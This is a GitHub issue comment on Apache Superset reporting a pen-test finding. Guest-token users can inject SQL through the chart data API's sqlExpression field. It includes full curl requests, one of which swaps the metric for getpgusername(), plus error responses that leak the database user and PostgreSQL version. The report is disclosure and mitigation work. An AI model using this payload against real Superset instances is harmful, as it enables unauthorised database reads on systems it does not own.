lindenh commented on issue #22960: URL: https://github.com/apache/superset/issues/22960#issuecomment-1646257922
Poking this again as we've recently bumped into this as part of a pen test as well, with our tester labeling this as **SQL Injection** with high risk. This is a request from a default sample request in superset local, with minimum roles set up for guest token creation. This is just copied as curl straight from the network tab in a browser, with irrelevant headers being hidden ``` curl 'http://localhost:8088/api/v1/chart/data?form_data=%7B%22slice_id%22%3A2%7D&dashboard_id=2&force' \ ...snipped... -H 'X-CSRFToken: IjQwYzMxYmM0MmExNmM0MjRiYTlkM2RiZmUxYTkxYThhMGYyNjhkZjki.ZLrT3Q.Za9Loai09hHiy2Tkz2QDB9l-s_4' \ -H 'X-GuestToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7fSwicmVzb3VyY2VzIjpbeyJ0eXBlIjoiZGFzaGJvYXJkIiwiaWQiOiIyIn1dLCJybHNfcnVsZXMiOltdLCJpYXQiOjE2ODk5NjU1MzIuNTg2NjA4NiwiZXhwIjoxNjg5OTY1ODMyLjU4NjYwODYsImF1ZCI6Imh0dHA6Ly9zdXBlcnNldDo4MDg4LyIsInR5cGUiOiJndWVzdCJ9.tqRgfjLsUgxniO26Ad9KjJ6Pn7ZbUwB8tvXMESJhN6A' \ --data-raw '{"datasource":{"id":1,"type":"table"},"force":false,"queries":[{"time_range":"2000 : 2014-01-02","granularity":"year","filters":[],"extras":{"having":"","where":""},"applied_time_extras":{},"columns":[],"metrics":["sum__SP_POP_TOTL"],"annotation_layers":[],"row_limit":50000,"series_limit":25,"order_desc":true,"url_params":{"uiConfig":"11"},"custom_params":{},"custom_form_data":{},"is_timeseries":true,"post_processing":[{"operation":"pivot","options":{"index":["__timestamp"],"columns":[],"aggregates":{"sum__SP_POP_TOTL":{"operator":"mean"}},"drop_missing_columns":true}},{"operation":"flatten"}]}],"form_data":{"datasource":"1__table","viz_type":"big_number","slice_id":2,"url_params":{"uiConfig":"11"},"granularity_sqla":"year","time_range":"2000 : 2014-01-02","metric":"sum__SP_POP_TOTL","adhoc_filters":[],"compare_lag":"10","compare_suffix":"over 10Y","show_trend_line":true,"start_y_axis_at_zero":true,"color_picker":{"r":0,"g":122,"b":135,"a":1},"header_font_size":0.4," subheader_font_size":0.15,"y_axis_format":"SMART_NUMBER","time_format":"smart_date","rolling_type":"None","country_fieldtype":"cca3","entity":"country_code","groupby":[],"limit":"25","markup_type":"markdown","row_limit":50000,"show_bubbles":true,"label_colors":{},"shared_label_colors":{},"extra_filters":[],"dashboardId":2,"force":null,"result_format":"json","result_type":"full"},"result_format":"json","result_type":"full"}' \ --compressed ``` Which returns the response body: ``` {"result": [{"cache_key": "9852cfa3a3082efeeb2e0f058cc0f538", "cached_dttm": "2023-07-21T13:54:56", "cache_timeout": 300, "applied_template_filters": [], "annotation_data": {}, "error": null, "is_cached": true, "query": "SELECT year AS __timestamp,\n sum(\"SP_POP_TOTL\") AS \"sum__SP_POP_TOTL\"\nFROM public.wb_health_population\nWHERE year >= TO_TIMESTAMP('2000-01-01 00:00:00.000000', 'YYYY-MM-DD HH24:MI:SS.US')\n AND year < TO_TIMESTAMP('2014-01-02 00:00:00.000000', 'YYYY-MM-DD HH24:MI:SS.US')\nGROUP BY year\nLIMIT 50000;\n\n", "status": "success", "stacktrace": null, "rowcount": 15, "from_dttm": 946684800000.0, "to_dttm": 1388620800000.0, "label_map": {"__timestamp": ["__timestamp"], "sum__SP_POP_TOTL": ["sum__SP_POP_TOTL"]}, "colnames": ["__timestamp", "sum__SP_POP_TOTL"], "indexnames": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], "coltypes": [2, 0], "data": [{"__timestamp": 946684800000.0, "sum__SP_POP_TOTL": 6093784340.0}, {"__timestamp": 978307200000.0, "sum__SP_POP_TOTL": 6173339411.0}, {"__timestamp": 1009843200000.0, "sum__SP_POP_TOTL": 6252469127.0}, {"__timestamp": 1041379200000.0, "sum__SP_POP_TOTL": 6331766837.0}, {"__timestamp": 1072915200000.0, "sum__SP_POP_TOTL": 6411615629.0}, {"__timestamp": 1104537600000.0, "sum__SP_POP_TOTL": 6491857539.0}, {"__timestamp": 1136073600000.0, "sum__SP_POP_TOTL": 6572596462.0}, {"__timestamp": 1167609600000.0, "sum__SP_POP_TOTL": 6653571302.0}, {"__timestamp": 1199145600000.0, "sum__SP_POP_TOTL": 6735914031.0}, {"__timestamp": 1230768000000.0, "sum__SP_POP_TOTL": 6818457192.0}, {"__timestamp": 1262304000000.0, "sum__SP_POP_TOTL": 6901110512.0}, {"__timestamp": 1293840000000.0, "sum__SP_POP_TOTL": 6984252419.0}, {"__timestamp": 1325376000000.0, "sum__SP_POP_TOTL": 7066007165.0}, {"__timestamp": 1356998400000.0, "sum__SP_POP_TOTL": 7151135481.0}, {"__timestamp": 1388534400000.0, "sum__SP_POP_TOTL": 7237260256.0}], "result_format": "json", "applied_filters": [], "rejected_filters": []}]} ``` For better visibility on the problem fields where injection is possible, this is the change to the payload when that chart is instead using custom SQL (though the payload still works if the chart by default has a saved metric instead, as above): ``` curl 'http://localhost:8088/api/v1/chart/data?form_data=%7B%22slice_id%22%3A2%7D&dashboard_id=2&force' \ ...snipped... -H 'X-CSRFToken: IjQwYzMxYmM0MmExNmM0MjRiYTlkM2RiZmUxYTkxYThhMGYyNjhkZjki.ZLrT3Q.Za9Loai09hHiy2Tkz2QDB9l-s_4' \ -H 'X-GuestToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7fSwicmVzb3VyY2VzIjpbeyJ0eXBlIjoiZGFzaGJvYXJkIiwiaWQiOiIyIn1dLCJybHNfcnVsZXMiOltdLCJpYXQiOjE2ODk5NjU1MzIuNTg2NjA4NiwiZXhwIjoxNjg5OTY1ODMyLjU4NjYwODYsImF1ZCI6Imh0dHA6Ly9zdXBlcnNldDo4MDg4LyIsInR5cGUiOiJndWVzdCJ9.tqRgfjLsUgxniO26Ad9KjJ6Pn7ZbUwB8tvXMESJhN6A' \ --data-raw '{"datasource":{"id":1,"type":"table"},"force":false,"queries":[{"time_range":"2000 : 2014-01-02","granularity":"year","filters":[],"extras":{"having":"","where":""},"applied_time_extras":{},"columns":[],"metrics":[{"aggregate":null,"column":null,"datasourceWarning":false,"expressionType":"SQL","hasCustomLabel":false,"label":"sum(\"SP_POP_TOTL\")","optionName":"metric_c7w10w8b2hk_gb6m7dyt3ub","sqlExpression":"sum(\"SP_POP_TOTL\")"}],"annotation_layers":[],"series_limit":0,"order_desc":true,"url_params":{"uiConfig":"11"},"custom_params":{},"custom_form_data":{},"is_timeseries":true,"post_processing":[{"operation":"pivot","options":{"index":["__timestamp"],"columns":[],"aggregates":{"sum(\"SP_POP_TOTL\")":{"operator":"mean"}},"drop_missing_columns":true}},{"operation":"flatten"}]}],"form_data":{"datasource":"1__table","viz_type":"big_number","slice_id":2,"url_params":{"uiConfig":"11"},"granularity_sqla":"year","time_range":"2000 : 2014-01-02","metric":{"aggregate":null, "column":null,"datasourceWarning":false,"expressionType":"SQL","hasCustomLabel":false,"label":"sum(\"SP_POP_TOTL\")","optionName":"metric_c7w10w8b2hk_gb6m7dyt3ub","sqlExpression":"sum(\"SP_POP_TOTL\")"},"adhoc_filters":[],"compare_lag":"10","compare_suffix":"over 10Y","show_trend_line":true,"start_y_axis_at_zero":true,"color_picker":{"a":1,"b":135,"g":122,"r":0},"header_font_size":0.4,"subheader_font_size":0.15,"y_axis_format":"SMART_NUMBER","time_format":"smart_date","rolling_type":"None","dashboards":[2],"extra_form_data":{},"label_colors":{},"shared_label_colors":{},"extra_filters":[],"dashboardId":2,"force":null,"result_format":"json","result_type":"full"},"result_format":"json","result_type":"full"}' \ --compressed ``` This returns a very similar response body to the above, with some labels changed. Now if we modify that sqlexpression piece to be some system function, getpgusername(): ``` curl 'http://localhost:8088/api/v1/chart/data?form_data=%7B%22slice_id%22%3A2%7D&dashboard_id=2&force' \ ...snipped... -H 'X-CSRFToken: IjQwYzMxYmM0MmExNmM0MjRiYTlkM2RiZmUxYTkxYThhMGYyNjhkZjki.ZLrT3Q.Za9Loai09hHiy2Tkz2QDB9l-s_4' \ -H 'X-GuestToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp7fSwicmVzb3VyY2VzIjpbeyJ0eXBlIjoiZGFzaGJvYXJkIiwiaWQiOiIyIn1dLCJybHNfcnVsZXMiOltdLCJpYXQiOjE2ODk5NjU1MzIuNTg2NjA4NiwiZXhwIjoxNjg5OTY1ODMyLjU4NjYwODYsImF1ZCI6Imh0dHA6Ly9zdXBlcnNldDo4MDg4LyIsInR5cGUiOiJndWVzdCJ9.tqRgfjLsUgxniO26Ad9KjJ6Pn7ZbUwB8tvXMESJhN6A' \ --data-raw '{"datasource":{"id":1,"type":"table"},"force":false,"queries":[{"time_range":"2000 : 2014-01-02","granularity":"year","filters":[],"extras":{"having":"","where":""},"applied_time_extras":{},"columns":[],"metrics":[{"aggregate":null,"column":null,"datasourceWarning":false,"expressionType":"SQL","hasCustomLabel":false,"label":"sum(\"SP_POP_TOTL\")","optionName":"metric_c7w10w8b2hk_gb6m7dyt3ub","sqlExpression":"getpgusername()"}],"annotation_layers":[],"series_limit":0,"order_desc":true,"url_params":{"uiConfig":"11"},"custom_params":{},"custom_form_data":{},"is_timeseries":true,"post_processing":[{"operation":"pivot","options":{"index":["__timestamp"],"columns":[],"aggregates":{"sum(\"SP_POP_TOTL\")":{"operator":"mean"}},"drop_missing_columns":true}},{"operation":"flatten"}]}],"form_data":{"datasource":"1__table","viz_type":"big_number","slice_id":2,"url_params":{"uiConfig":"11"},"granularity_sqla":"year","time_range":"2000 : 2014-01-02","metric":{"aggregate":null,"colu mn":null,"datasourceWarning":false,"expressionType":"SQL","hasCustomLabel":false,"label":"sum(\"SP_POP_TOTL\")","optionName":"metric_c7w10w8b2hk_gb6m7dyt3ub","sqlExpression":"getpgusername()"},"adhoc_filters":[],"compare_lag":"10","compare_suffix":"over 10Y","show_trend_line":true,"start_y_axis_at_zero":true,"color_picker":{"a":1,"b":135,"g":122,"r":0},"header_font_size":0.4,"subheader_font_size":0.15,"y_axis_format":"SMART_NUMBER","time_format":"smart_date","rolling_type":"None","dashboards":[2],"extra_form_data":{},"label_colors":{},"shared_label_colors":{},"extra_filters":[],"dashboardId":2,"force":null,"result_format":"json","result_type":"full"},"result_format":"json","result_type":"full"}' \ --compressed ``` Returning: ``` {"errors": [{"message": "Could not convert superset to numeric", "error_type": "GENERIC_BACKEND_ERROR", "level": "error", "extra": {"issue_codes": [{"code": 1011, "message": "Issue 1011 - Superset encountered an unexpected error."}]}}]} ``` Which, in this case, is plainly returning "superset" as the pguser. Similarly for version(): ``` {"errors": [{"message": "Could not convert PostgreSQL 14.7 (Debian 14.7-1.pgdg110+1) on aarch64-unknown-linux-gnu, compiled by gcc (Debian 10.2.1-6) 10.2.1 20210110, 64-bit to numeric", "error_type": "GENERIC_BACKEND_ERROR", "level": "error", "extra": {"issue_codes": [{"code": 1011, "message": "Issue 1011 - Superset encountered an unexpected error."}]}}]} ``` I'm confident that you could get these responses to be successful as well with more massaging on the graph type etc, but I hope this showcases the issue with how the sqlExpression is being passed through. Additionally, it does appear if you change this to be a valid return, RLS is still doing its job at some level, but this needs more testing. I do not believe I am missing any feature flag or user permission settings, but for the most part the setup was defaulted with separate guest token permissioning and am willing to try any other settings. For a current workaround, we believe that limiting payloads to only containing a metric string (or at least not including expressionType or sqlExpression) may work as mitigation, but we need to do more testing. I'm curious if anyone else has had to work around this or solved this on their end. Though I do believe this should be resolved at the root, inside of superset, instead of effectively disallowing our teams from making charts certain ways, without breaking embeds. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: notifications-unsubscr...@superset.apache.org For queries about this service, please contact Infrastructure at: us...@infra.apache.org --------------------------------------------------------------------- To unsubscribe, e-mail: notifications-unsubscr...@superset.apache.org For additional commands, e-mail: notifications-h...@superset.apache.org
